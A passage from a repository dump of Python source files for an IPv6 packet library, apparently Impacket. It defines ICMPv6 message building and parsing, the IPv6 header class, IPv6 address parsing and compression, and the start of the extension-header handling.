dictionary\n    #Key: Code number\n    #Data: Text description\n    \n    #ICMP message dictionary tuple indexes\n    MSG_TYPE_INDEX = 0\n    DESCRIPTION_INDEX = 1\n    CODES_INDEX = 2\n\n    icmp_messages = {\n                     DESTINATION_UNREACHABLE : (ERROR_MESSAGE, \"Destination unreachable\",\n                                                { NO_ROUTE_TO_DESTINATION : \"No route to destination\",\n                                                  ADMINISTRATIVELY_PROHIBITED : \"Administratively prohibited\",\n                                                  BEYOND_SCOPE_OF_SOURCE_ADDRESS : \"Beyond scope of source address\",\n                                                  ADDRESS_UNREACHABLE : \"Address unreachable\",\n                                                  PORT_UNREACHABLE : \"Port unreachable\",\n                                                  SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : \"Source address failed ingress/egress policy\",\n                                                  REJECT_ROUTE_TO_DESTINATION : \"Reject route to destination\"\n                                                  }),\n                     PACKET_TOO_BIG : (ERROR_MESSAGE, \"Packet too big\", None),\n                     TIME_EXCEEDED : (ERROR_MESSAGE, \"Time exceeded\",\n                                        {HOP_LIMIT_EXCEEDED_IN_TRANSIT : \"Hop limit exceeded in transit\",\n                                        FRAGMENT_REASSEMBLY_TIME_EXCEEDED : \"Fragment reassembly time exceeded\"                                      \n                                       }),\n                     PARAMETER_PROBLEM : (ERROR_MESSAGE, \"Parameter problem\",\n                                          {\n                                           ERRONEOUS_HEADER_FIELD_ENCOUNTERED : \"Erroneous header field encountered\",\n                                           UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : \"Unrecognized Next Header type encountered\",\n                                           UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : \"Unrecognized IPv6 Option Encountered\"\n                                           }),\n                     ECHO_REQUEST : (INFORMATIONAL_MESSAGE, \"Echo request\", None),\n                     ECHO_REPLY : (INFORMATIONAL_MESSAGE, \"Echo reply\", None),\n                     ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, \"Router Solicitation\", None),\n                     ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, \"Router Advertisement\", None),\n                     NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, \"Neighbor Solicitation\", None),\n                     NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, \"Neighbor Advertisement\", None),\n                     REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, \"Redirect Message\", None),\n                     NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, \"Node Information Query\", None),\n                     NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, \"Node Information Reply\", None),\n                    } \n    \n    \n    \n    \n############################################################################\n    def __init__(self, buffer = None):\n        Header.__init__(self, self.HEADER_SIZE)\n        if (buffer):\n            self.load_header(buffer)\n    \n    def get_header_size(self):\n        return self.HEADER_SIZE\n    \n    def get_ip_protocol_number(self):\n        return self.IP_PROTOCOL_NUMBER\n\n    def __str__(self):        \n        type = self.get_type()\n        code = self.get_code()\n        checksum = self.get_checksum()\n\n        s = \"ICMP6 - Type: \" + str(type) + \" - \"  + self.__get_message_description() + \"\\n\"\n        s += \"Code: \" + str(code)\n        if (self.__get_code_description() != \"\"):\n            s += \" - \" + self.__get_code_description()\n        s += \"\\n\"\n        s += \"Checksum: \" + str(checksum) + \"\\n\"\n        return s\n    \n    def __get_message_description(self):\n        return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX]\n    \n    def __get_code_description(self):\n        code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]\n        if (code_dictionary is None):\n            return \"\"\n        else:\n            return code_dictionary[self.get_code()]\n    \n############################################################################\n    def get_type(self):        \n        return (self.get_byte(0))\n    \n    def get_code(self):\n        return (self.get_byte(1))\n    \n    def get_checksum(self):\n        return (self.get_word(2))\n    \n############################################################################\n    def set_type(self, type):\n        self.set_byte(0, type)\n    \n    def set_code(self, code):\n        self.set_byte(1, code)\n    \n    def set_checksum(self, checksum):\n        self.set_word(2, checksum)\n    \n############################################################################\n    def calculate_checksum(self):        \n        #Initialize the checksum value to 0 to yield a correct calculation\n        self.set_checksum(0)        \n        #Fetch the pseudo header from the IP6 parent packet\n        pseudo_header = self.parent().get_pseudo_header()\n        #Fetch the ICMP data\n        icmp_header = self.get_bytes()\n        #Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present)\n        checksum_array = array.array('B')\n        checksum_array.extend(pseudo_header)\n        checksum_array.extend(icmp_header)\n        if (self.child()):\n            checksum_array.extend(self.child().get_bytes())\n            \n        #Compute the checksum over that array\n        self.set_checksum(self.compute_checksum(checksum_array))\n        \n    def is_informational_message(self):\n        return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.INFORMATIONAL_MESSAGE\n        \n    def is_error_message(self):\n        return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE\n    \n    def is_well_formed(self):\n        well_formed = True\n        \n        #Check that the message type is known\n        well_formed &= self.get_type() in self.icmp_messages.keys()\n        \n        #Check that the code is known (zero, if there are no codes defined)\n        code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]\n        if (code_dictionary is None):\n            well_formed &= self.get_code() == 0\n        else:            \n            well_formed &= self.get_code() in code_dictionary.keys()\n            \n        return well_formed \n        \n############################################################################\n\n    @classmethod\n    def Echo_Request(class_object, id, sequence_number, arbitrary_data = None):\n        return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data)\n    \n    @classmethod\n    def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None):\n        return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data)\n    \n    @classmethod\n    def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data):\n        #Build ICMP6 header\n        icmp_packet = ICMP6()\n        icmp_packet.set_type(type)\n        icmp_packet.set_code(0)\n        \n        #Pack ICMP payload\n        icmp_bytes = struct.pack('>H', id)\n        icmp_bytes += struct.pack('>H', sequence_number)\n        if (arbitrary_data is not None):\n            icmp_bytes += array_tobytes(array.array('B', arbitrary_data))\n        icmp_payload = Data()\n        icmp_payload.set_data(icmp_bytes)\n        \n        #Link payload to header\n        icmp_packet.contains(icmp_payload)\n        \n        return icmp_packet\n    \n    \n############################################################################\n    @classmethod\n    def Destination_Unreachable(class_object, code, originating_packet_data = None):\n        unused_bytes = [0x00, 0x00, 0x00, 0x00]\n        return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data)\n\n    @classmethod\n    def Packet_Too_Big(class_object, MTU, originating_packet_data = None):\n        MTU_bytes = struct.pack('!L', MTU)\n        return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data)\n    \n    @classmethod\n    def Time_Exceeded(class_object, code, originating_packet_data = None):\n        unused_bytes = [0x00, 0x00, 0x00, 0x00]\n        return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data)\n\n    @classmethod\n    def Parameter_Problem(class_object, code, pointer, originating_packet_data = None):\n        pointer_bytes = struct.pack('!L', pointer)\n        return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data)\n    \n    @classmethod    \n    def __build_error_message(class_object, type, code, data, originating_packet_data):\n        #Build ICMP6 header\n        icmp_packet = ICMP6()\n        icmp_packet.set_type(type)\n        icmp_packet.set_code(code)\n        \n        #Pack ICMP payload\n        icmp_bytes = array_tobytes(array.array('B', data))\n        if (originating_packet_data is not None):\n            icmp_bytes += array_tobytes(array.array('B', originating_packet_data))\n        icmp_payload = Data()\n        icmp_payload.set_data(icmp_bytes)\n        \n        #Link payload to header\n        icmp_packet.contains(icmp_payload)\n        \n        return icmp_packet\n\n############################################################################\n\n    @classmethod\n    def Neighbor_Solicitation(class_object, target_address):\n        return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address)\n    \n    @classmethod\n    def Neighbor_Advertisement(class_object, target_address):\n        return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address)\n\n    @classmethod\n    def __build_neighbor_message(class_object, msg_type, target_address):\n        #Build ICMP6 header\n        icmp_packet = ICMP6()\n        icmp_packet.set_type(msg_type)\n        icmp_packet.set_code(0)\n        \n        # Flags + Reserved\n        icmp_bytes = array_tobytes(array.array('B', [0x00] * 4))\n        \n        # Target Address: The IP address of the target of the solicitation.\n        # It MUST NOT be a multicast address.\n        icmp_bytes += array_tobytes(array.array('B', IP6_Address(target_address).as_bytes()))\n        \n        icmp_payload = Data()\n        icmp_payload.set_data(icmp_bytes)\n        \n        #Link payload to header\n        icmp_packet.contains(icmp_payload)\n        \n        return icmp_packet\n\n############################################################################\n\n    def get_target_address(self):\n        return IP6_Address(self.child().get_bytes()[4:20])\n\n    def set_target_address(self, target_address):\n        address = IP6_Address(target_address)\n        payload_bytes = self.child().get_bytes()\n        payload_bytes[4:20] = address.get_bytes()\n        self.child().set_bytes(payload_bytes)\n\n    #  0 1 2 3 4 5 6 7 \n    # +-+-+-+-+-+-+-+-+\n    # |R|S|O|reserved |\n    # +-+-+-+-+-+-+-+-+\n\n    def get_neighbor_advertisement_flags(self):\n        return self.child().get_byte(0)\n\n    def set_neighbor_advertisement_flags(self, flags):\n        self.child().set_byte(0, flags)\n\n    def get_router_flag(self):\n        return (self.get_neighbor_advertisement_flags() & 0x80) != 0\n    \n    def set_router_flag(self, flag_value):\n        curr_flags = self.get_neighbor_advertisement_flags()\n        if flag_value:\n            curr_flags |= 0x80\n        else:\n            curr_flags &= ~0x80\n        self.set_neighbor_advertisement_flags(curr_flags)\n    \n    def get_solicited_flag(self):\n        return (self.get_neighbor_advertisement_flags() & 0x40) != 0\n    \n    def set_solicited_flag(self, flag_value):\n        curr_flags = self.get_neighbor_advertisement_flags()\n        if flag_value:\n            curr_flags |= 0x40\n        else:\n            curr_flags &= ~0x40\n        self.set_neighbor_advertisement_flags(curr_flags)\n    \n    def get_override_flag(self):\n        return (self.get_neighbor_advertisement_flags() & 0x20) != 0\n    \n    def set_override_flag(self, flag_value):\n        curr_flags = self.get_neighbor_advertisement_flags()\n        if flag_value:\n            curr_flags |= 0x20\n        else:\n            curr_flags &= ~0x20\n        self.set_neighbor_advertisement_flags(curr_flags)\n\n############################################################################\n    @classmethod\n    def Node_Information_Query(class_object, code, payload = None):\n        return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload)\n\n    @classmethod\n    def Node_Information_Reply(class_object, code, payload = None):\n        return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload)\n        \n    @classmethod\n    def __build_node_information_message(class_object, type, code, payload = None):\n        #Build ICMP6 header\n        icmp_packet = ICMP6()\n        icmp_packet.set_type(type)\n        icmp_packet.set_code(code)\n        \n        #Pack ICMP payload\n        qtype = 0\n        flags = 0\n        nonce = [0x00] * 8\n        \n        icmp_bytes = struct.pack('>H', qtype)\n        icmp_bytes += struct.pack('>H', flags)\n        icmp_bytes += array_tobytes(array.array('B', nonce))\n        \n        if payload is not None:\n            icmp_bytes += array_tobytes(array.array('B', payload))\n        \n        icmp_payload = Data()\n        icmp_payload.set_data(icmp_bytes)\n        \n        #Link payload to header\n        icmp_packet.contains(icmp_payload)\n\n        return icmp_packet\n    \n    def get_qtype(self):\n        return self.child().get_word(0)\n\n    def set_qtype(self, qtype):\n        self.child().set_word(0, qtype)\n\n    def get_nonce(self):\n        return self.child().get_bytes()[4:12]\n\n    def set_nonce(self, nonce):\n        payload_bytes = self.child().get_bytes()\n        payload_bytes[4:12] = array.array('B', nonce)\n        self.child().set_bytes(payload_bytes)\n\n    #  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5\n    # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    # |      unused       |G|S|L|C|A|T|\n    # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    def get_flags(self):\n        return self.child().get_word(2)\n\n    def set_flags(self, flags):\n        self.child().set_word(2, flags)\n\n    def get_flag_T(self):\n        return (self.get_flags() & 0x0001) != 0\n    \n    def set_flag_T(self, flag_value):\n        curr_flags = self.get_flags()\n        if flag_value:\n            curr_flags |= 0x0001\n        else:\n            curr_flags &= ~0x0001\n        self.set_flags(curr_flags)\n        \n    def get_flag_A(self):\n        return (self.get_flags() & 0x0002) != 0\n    \n    def set_flag_A(self, flag_value):\n        curr_flags = self.get_flags()\n        if flag_value:\n            curr_flags |= 0x0002\n        else:\n            curr_flags &= ~0x0002\n        self.set_flags(curr_flags)\n\n    def get_flag_C(self):\n        return (self.get_flags() & 0x0004) != 0\n    \n    def set_flag_C(self, flag_value):\n        curr_flags = self.get_flags()\n        if flag_value:\n            curr_flags |= 0x0004\n        else:\n            curr_flags &= ~0x0004\n        self.set_flags(curr_flags)\n\n    def get_flag_L(self):\n        return (self.get_flags() & 0x0008) != 0\n    \n    def set_flag_L(self, flag_value):\n        curr_flags = self.get_flags()\n        if flag_value:\n            curr_flags |= 0x0008\n        else:\n            curr_flags &= ~0x0008\n        self.set_flags(curr_flags)\n\n    def get_flag_S(self):\n        return (self.get_flags() & 0x0010) != 0\n    \n    def set_flag_S(self, flag_value):\n        curr_flags = self.get_flags()\n        if flag_value:\n            curr_flags |= 0x0010\n        else:\n            curr_flags &= ~0x0010\n        self.set_flags(curr_flags)\n\n    def get_flag_G(self):\n        return (self.get_flags() & 0x0020) != 0\n    \n    def set_flag_G(self, flag_value):\n        curr_flags = self.get_flags()\n        if flag_value:\n            curr_flags |= 0x0020\n        else:\n            curr_flags &= ~0x0020\n        self.set_flags(curr_flags)\n\n    def set_node_information_data(self, data):\n        payload_bytes = self.child().get_bytes()\n        payload_bytes[12:] = array.array('B', data)\n        self.child().set_bytes(payload_bytes)\n\n    def get_note_information_data(self):\n        return self.child().get_bytes()[12:]\n\n############################################################################\n    def get_echo_id(self):\n        return self.child().get_word(0)\n    \n    def get_echo_sequence_number(self):\n        return self.child().get_word(2)\n    \n    def get_echo_arbitrary_data(self):\n        return self.child().get_bytes()[4:]\n    \n    def get_mtu(self):\n        return self.child().get_long(0)\n        \n    def get_parm_problem_pointer(self):\n        return self.child().get_long(0)\n        \n    def get_originating_packet_data(self):\n        return self.child().get_bytes()[4:]\n"
  },
  {
    "path": "impacket/IP6.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nimport struct\nimport array\n\nfrom impacket.ImpactPacket import Header, array_frombytes\nfrom impacket.IP6_Address import IP6_Address\nfrom impacket.IP6_Extension_Headers import IP6_Extension_Header\n\nfrom impacket import LOG\n\n\nclass IP6(Header):\n    #Ethertype value for IPv6\n    ethertype = 0x86DD\n    HEADER_SIZE = 40\n    IP_PROTOCOL_VERSION = 6\n    \n    def __init__(self, buffer = None):\n        Header.__init__(self, IP6.HEADER_SIZE)\n        self.set_ip_v(IP6.IP_PROTOCOL_VERSION)\n        if (buffer):\n            self.load_header(buffer)\n\n    def contains(self, aHeader):\n        Header.contains(self, aHeader)\n        if isinstance(aHeader, IP6_Extension_Header):\n            self.set_next_header(aHeader.get_header_type())\n\n    def get_header_size(self):\n        return IP6.HEADER_SIZE\n\n    def __str__(self):        \n        protocol_version = self.get_ip_v()\n        traffic_class = self.get_traffic_class()\n        flow_label = self.get_flow_label()\n        payload_length = self.get_payload_length()\n        next_header = self.get_next_header()\n        hop_limit = self.get_hop_limit()\n        source_address = self.get_ip_src()\n        destination_address = self.get_ip_dst()\n\n        s = \"Protocol version: \" + str(protocol_version) + \"\\n\"\n        s += \"Traffic class: \" + str(traffic_class) + \"\\n\"\n        s += \"Flow label: \" + str(flow_label) + \"\\n\"\n        s += \"Payload length: \" + str(payload_length) + \"\\n\"\n        s += \"Next header: \" + str(next_header) + \"\\n\"\n        s += \"Hop limit: \" + str(hop_limit) + \"\\n\"\n        s += \"Source address: \" + source_address.as_string() + \"\\n\"\n        s += \"Destination address: \" + destination_address.as_string() + \"\\n\"\n        return s\n    \n    def get_pseudo_header(self):\n        source_address = self.get_ip_src().as_bytes()\n        #FIXME - Handle Routing header special case\n        destination_address = self.get_ip_dst().as_bytes()\n        reserved_bytes = [ 0x00, 0x00, 0x00 ]\n\n        upper_layer_packet_length = self.get_payload_length()\n        upper_layer_protocol_number = self.get_next_header()\n        \n        next_header = self.child()\n        while isinstance(next_header, IP6_Extension_Header):\n            # The length used in the pseudo-header is the Payload Length from the IPv6 header, minus\n            # the length of any extension headers present between the IPv6 header and the upper-layer header\n            upper_layer_packet_length -= next_header.get_header_size()\n            \n            # If there are extension headers, fetch the correct upper-player protocol number by traversing the list\n            upper_layer_protocol_number = next_header.get_next_header()\n            \n            next_header = next_header.child()\n        \n        pseudo_header = array.array('B')        \n        pseudo_header.extend(source_address)\n        pseudo_header.extend(destination_address)\n        array_frombytes(pseudo_header, struct.pack('!L', upper_layer_packet_length))\n        pseudo_header.fromlist(reserved_bytes)\n        array_frombytes(pseudo_header, struct.pack('B', upper_layer_protocol_number))\n        return pseudo_header\n    \n############################################################################\n    def get_ip_v(self):\n        return (self.get_byte(0) & 0xF0) >> 4\n\n    def get_traffic_class(self):\n        return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4)\n\n    def get_flow_label(self):\n        return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3)\n\n    def get_payload_length(self):\n        return (self.get_byte(4) << 8) | self.get_byte(5)\n\n    def get_next_header(self):\n        return (self.get_byte(6))\n\n    def get_hop_limit(self):\n        return (self.get_byte(7))\n\n    def get_ip_src(self):\n        address = IP6_Address(self.get_bytes()[8:24])\n        return (address)    \n\n    def get_ip_dst(self):\n        address = IP6_Address(self.get_bytes()[24:40])\n        return (address)    \n\n############################################################################\n    def set_ip_v(self, version):\n        if (version != 6):\n            raise Exception('set_ip_v - version != 6')\n    \n        #Fetch byte, clear high nibble\n        b = self.get_byte(0) & 0x0F\n        #Store version number in high nibble\n        b |= (version << 4)\n        #Store byte in buffer\n        #This behaviour is repeated in the rest of the methods \n        self.set_byte(0, b)\n\n\n    def set_traffic_class(self, traffic_class):\n        b0 = self.get_byte(0) & 0xF0\n        b1 = self.get_byte(1) & 0x0F\n        b0 |= (traffic_class & 0xF0) >> 4\n        b1 |= (traffic_class & 0x0F) << 4\n        self.set_byte(0, b0)\n        self.set_byte(1, b1)\n    \n\n    def set_flow_label(self, flow_label):\n        b1 = self.get_byte(1) & 0xF0\n        b1 |= (flow_label & 0xF0000) >> 16\n        self.set_byte(1, b1)\n        self.set_byte(2, (flow_label & 0x0FF00) >> 8)\n        self.set_byte(3, (flow_label & 0x000FF))\n \n\n    def set_payload_length(self, payload_length):\n        self.set_byte(4, (payload_length & 0xFF00) >> 8)\n        self.set_byte(5, (payload_length & 0x00FF))\n    \n\n    def set_next_header(self, next_header):\n        self.set_byte(6, next_header)\n    \n    def set_hop_limit(self, hop_limit):\n        self.set_byte(7, hop_limit)\n    \n    def set_ip_src(self, source_address):\n        address = IP6_Address(source_address)\n        bytes = self.get_bytes()\n        bytes[8:24] = address.as_bytes()\n        self.set_bytes(bytes)\n\n    def set_ip_dst(self, destination_address):\n        address = IP6_Address(destination_address)\n        bytes = self.get_bytes()\n        bytes[24:40] = address.as_bytes()\n        self.set_bytes(bytes)\n        \n    def get_protocol_version(self):\n        LOG.warning('deprecated soon')\n        return self.get_ip_v()    \n    \n    def get_source_address(self):\n        LOG.warning('deprecated soon')\n        return self.get_ip_src()\n    \n    def get_destination_address(self):\n        LOG.warning('deprecated soon')\n        return self.get_ip_dst()\n    \n    def set_protocol_version(self, version):\n        LOG.warning('deprecated soon')\n        self.set_ip_v(version)\n    \n    def set_source_address(self, source_address):\n        LOG.warning('deprecated soon')\n        self.set_ip_src(source_address)\n    \n    def set_destination_address(self, destination_address):\n        LOG.warning('deprecated soon')\n        self.set_ip_dst(destination_address)\n"
  },
  {
    "path": "impacket/IP6_Address.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nimport array\nfrom six import string_types\n\nclass IP6_Address:\n    ADDRESS_BYTE_SIZE = 16\n    #A Hex Group is a 16-bit unit of the address\n    TOTAL_HEX_GROUPS = 8\n    HEX_GROUP_SIZE = 4 #Size in characters\n    TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1\n    ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS\n    SEPARATOR = \":\"\n    SCOPE_SEPARATOR = \"%\"\n    \n#############################################################################################################\n# Constructor and construction helpers\n\n    def __init__(self, address):\n        #The internal representation of an IP6 address is a 16-byte array\n        self.__bytes = array.array('B', b'\\0' * self.ADDRESS_BYTE_SIZE)\n        self.__scope_id = \"\"\n\n        #Invoke a constructor based on the type of the argument\n        if isinstance(address, string_types):\n            self.__from_string(address)\n        else:\n            self.__from_bytes(address)\n\n\n    def __from_string(self, address):\n        #Separate the Scope ID, if present\n        if self.__is_a_scoped_address(address):\n            split_parts = address.split(self.SCOPE_SEPARATOR)\n            address = split_parts[0]\n            if split_parts[1] == \"\":\n                raise Exception(\"Empty scope ID\")\n            self.__scope_id = split_parts[1]\n        \n        #Expand address if it's in compressed form\n        if self.__is_address_in_compressed_form(address):\n            address = self.__expand_compressed_address(address)\n            \n        #Insert leading zeroes where needed        \n        address = self.__insert_leading_zeroes(address)\n        \n        #Sanity check\n        if len(address) != self.ADDRESS_TEXT_SIZE:\n            raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE))\n    \n        #Split address into hex groups\n        hex_groups = address.split(self.SEPARATOR)\n        if len(hex_groups) != self.TOTAL_HEX_GROUPS:\n            raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS))\n\n        #For each hex group, convert it into integer words\n        offset = 0\n        for group in hex_groups:\n            if len(group) != self.HEX_GROUP_SIZE:\n                raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE))\n            \n            group_as_int = int(group, 16)\n            self.__bytes[offset]     = (group_as_int & 0xFF00) >> 8\n            self.__bytes[offset + 1] = (group_as_int & 0x00FF) \n            offset += 2            \n\n    def __from_bytes(self, theBytes):\n        if len(theBytes) != self.ADDRESS_BYTE_SIZE:\n            raise Exception (\"IP6_Address - from_bytes - array size != \" + str(self.ADDRESS_BYTE_SIZE))\n        self.__bytes = theBytes\n\n#############################################################################################################\n# Projectors\n    def as_string(self, compress_address = True, scoped_address = True):\n        s = \"\"\n        for i, v in enumerate(self.__bytes):\n            s += hex(v)[2:].rjust(2, '0')\n            if i % 2 == 1:\n                s += self.SEPARATOR\n        s = s[:-1].upper()\n        \n        if compress_address:\n            s = self.__trim_leading_zeroes(s)\n            s = self.__trim_longest_zero_chain(s)\n            \n        if scoped_address and self.get_scope_id() != \"\":\n            s += self.SCOPE_SEPARATOR + self.__scope_id\n        return s\n                \n    def as_bytes(self):\n        return self.__bytes\n    \n    def __str__(self):\n        return self.as_string()\n    \n    def get_scope_id(self):\n        return self.__scope_id\n    \n    def get_unscoped_address(self):\n        return self.as_string(True, False) #Compressed address = True, Scoped address = False\n        \n#############################################################################################################\n# Semantic helpers\n    def is_multicast(self):\n        return self.__bytes[0] == 0xFF\n    \n    def is_unicast(self):\n        return self.__bytes[0] == 0xFE\n    \n    def is_link_local_unicast(self):\n        return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80)\n    \n    def is_site_local_unicast(self):\n        return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0)\n    \n    def is_unique_local_unicast(self):\n        return self.__bytes[0] == 0xFD\n                \n    \n    def get_human_readable_address_type(self):\n        if self.is_multicast():\n            return \"multicast\"\n        elif self.is_unicast():\n            if self.is_link_local_unicast():\n                return \"link-local unicast\"\n            elif self.is_site_local_unicast():\n                return \"site-local unicast\"\n            else:\n                return \"unicast\"\n        elif self.is_unique_local_unicast():\n            return \"unique-local unicast\"\n        else:\n            return \"unknown type\"\n\n#############################################################################################################\n#Expansion helpers\n\n    #Predicate - returns whether an address is in compressed form\n    def __is_address_in_compressed_form(self, address):\n        #Sanity check - triple colon detection (not detected by searches of double colon)        \n        if address.count(self.SEPARATOR * 3) > 0:\n            raise Exception('IP6_Address - found triple colon')\n        \n        #Count the double colon marker\n        compression_marker_count = self.__count_compression_marker(address)        \n        if compression_marker_count == 0:\n            return False\n        elif compression_marker_count == 1:\n            return True\n        else:\n            raise Exception('IP6_Address - more than one compression marker (\\\"::\\\") found')\n       \n    #Returns how many hex groups are present, in a compressed address \n    def __count_compressed_groups(self, address):\n        trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace \"::\" with \":\"        \n        return trimmed_address.count(self.SEPARATOR) + 1\n\n    #Counts how many compression markers are present\n    def __count_compression_marker(self, address):\n        return address.count(self.SEPARATOR * 2) #Count occurrences of \"::\"\n\n    #Inserts leading zeroes in every hex group\n    def __insert_leading_zeroes(self, address):\n        hex_groups = address.split(self.SEPARATOR)\n        \n        new_address = \"\"\n        for hex_group in hex_groups:\n            if len(hex_group) < 4:\n                hex_group = hex_group.rjust(4, \"0\")\n            new_address += hex_group + self.SEPARATOR\n            \n        return new_address[:-1] #Trim the last colon\n            \n            \n    #Expands a compressed address\n    def __expand_compressed_address(self, address):\n        group_count = self.__count_compressed_groups(address)\n        groups_to_insert = self.TOTAL_HEX_GROUPS - group_count\n        \n        pos = address.find(self.SEPARATOR * 2) + 1 \n        while groups_to_insert:\n            address = address[:pos] + \"0000\" + self.SEPARATOR + address[pos:]\n            pos += 5\n            groups_to_insert -= 1\n\n        #Replace the compression marker with a single colon            \n        address = address.replace(self.SEPARATOR * 2, self.SEPARATOR)        \n        return address\n\n\n#############################################################################################################\n#Compression helpers\n\n    def __trim_longest_zero_chain(self, address):\n        chain_size = 8\n        \n        while chain_size > 0:\n            groups = address.split(self.SEPARATOR)\n\n            for index, group in enumerate(groups):\n                #Find the first zero\n                if group == \"0\":\n                    start_index = index\n                    end_index = index\n                    #Find the end of this chain of zeroes\n                    while end_index < 7 and groups[end_index + 1] == \"0\":\n                        end_index += 1\n                        \n                    #If the zero chain matches the current size, trim it\n                    found_size = end_index - start_index + 1\n                    if found_size == chain_size:\n                        address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):])\n                        return address\n                    \n            #No chain of this size found, try with a lower size    \n            chain_size -= 1\n        return address\n\n                                \n    #Trims all leading zeroes from every hex group\n    def __trim_leading_zeroes(self, theStr):\n        groups = theStr.split(self.SEPARATOR)\n        theStr = \"\"\n        \n        for group in groups:\n            group = group.lstrip(\"0\") + self.SEPARATOR\n            if group == self.SEPARATOR:\n                group = \"0\" + self.SEPARATOR\n            theStr += group\n        return theStr[:-1]\n                \n\n#############################################################################################################\n    @classmethod\n    def is_a_valid_text_representation(cls, text_representation):\n        try:\n            #Capitalize on the constructor's ability to detect invalid text representations of an IP6 address            \n            IP6_Address(text_representation)\n            return True\n        except Exception:\n            return False\n                \n    def __is_a_scoped_address(self, text_representation):\n        return text_representation.count(self.SCOPE_SEPARATOR) == 1\n"
  },
  {
    "path": "impacket/IP6_Extension_Headers.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nimport array\n\nfrom impacket.ImpactPacket import Header, ImpactPacketException, PacketBuffer\n\nclass IP6_Extension_Header(Header):\n# --------------------------------- - - - - - - -\n# | Next Header | Header Ext Len | Options\n# --------------------------------- - - - - - - -\n\n    HEADER_TYPE_VALUE = -1\n    EXTENSION_HEADER_FIELDS_SIZE = 2\n    \n    EXTENSION_HEADER_DECODER = None\n\n    def __init__(self, buffer = None):\n        Header.__init__(self, self.get_headers_field_size())\n        self._option_list = []\n        if buffer:\n            self.load_header(buffer)\n        else:\n            self.reset()\n\n    def __str__(self):\n        header_type = self.get_header_type()\n        next_header_value = self.get_next_header()\n        header_ext_length = self.get_header_extension_length()\n\n        s  = \"Header Extension Name: \" + self.__class__.HEADER_EXTENSION_DESCRIPTION + \"\\n\"\n        s += \"Header Type Value: \" + str(header_type) + \"\\n\"\n        s += \"Next Header: \" + str(next_header_value) + \"\\n\"\n        s += \"Header Extension Length: \" + str(header_ext_length) + \"\\n\"\n        s += \"Options:\\n\"\n        \n        for option in self._option_list:\n            option_str = str(option)\n            option_str = option_str.split('\\n')\n            option_str = [(' ' * 4) + s for s in option_str]\n            s += '\\n'.join(option_str) + '\\n'\n        \n        return s\n\n    def load_header(self, buffer):\n        self.set_bytes_from_string(buffer[:self.get_headers_field_size()])\n        \n        remaining_bytes = (self.get_header_extension_length() + 1) * 8\n        remaining_bytes -= self.get_headers_field_size()\n\n        buffer = array.array('B', buffer[self.get_headers_field_size():])\n        if remaining_bytes > len(buffer):\n            raise ImpactPacketException(\"Cannot load options from truncated packet\")\n\n        while remaining_bytes > 0:\n            option_type = buffer[0]\n            if option_type == Option_PAD1.OPTION_TYPE_VALUE:\n                # Pad1\n                self._option_list.append(Option_PAD1())\n                \n                remaining_bytes -= 1\n                buffer = buffer[1:]\n            else:\n                # PadN\n                # From RFC 2460: 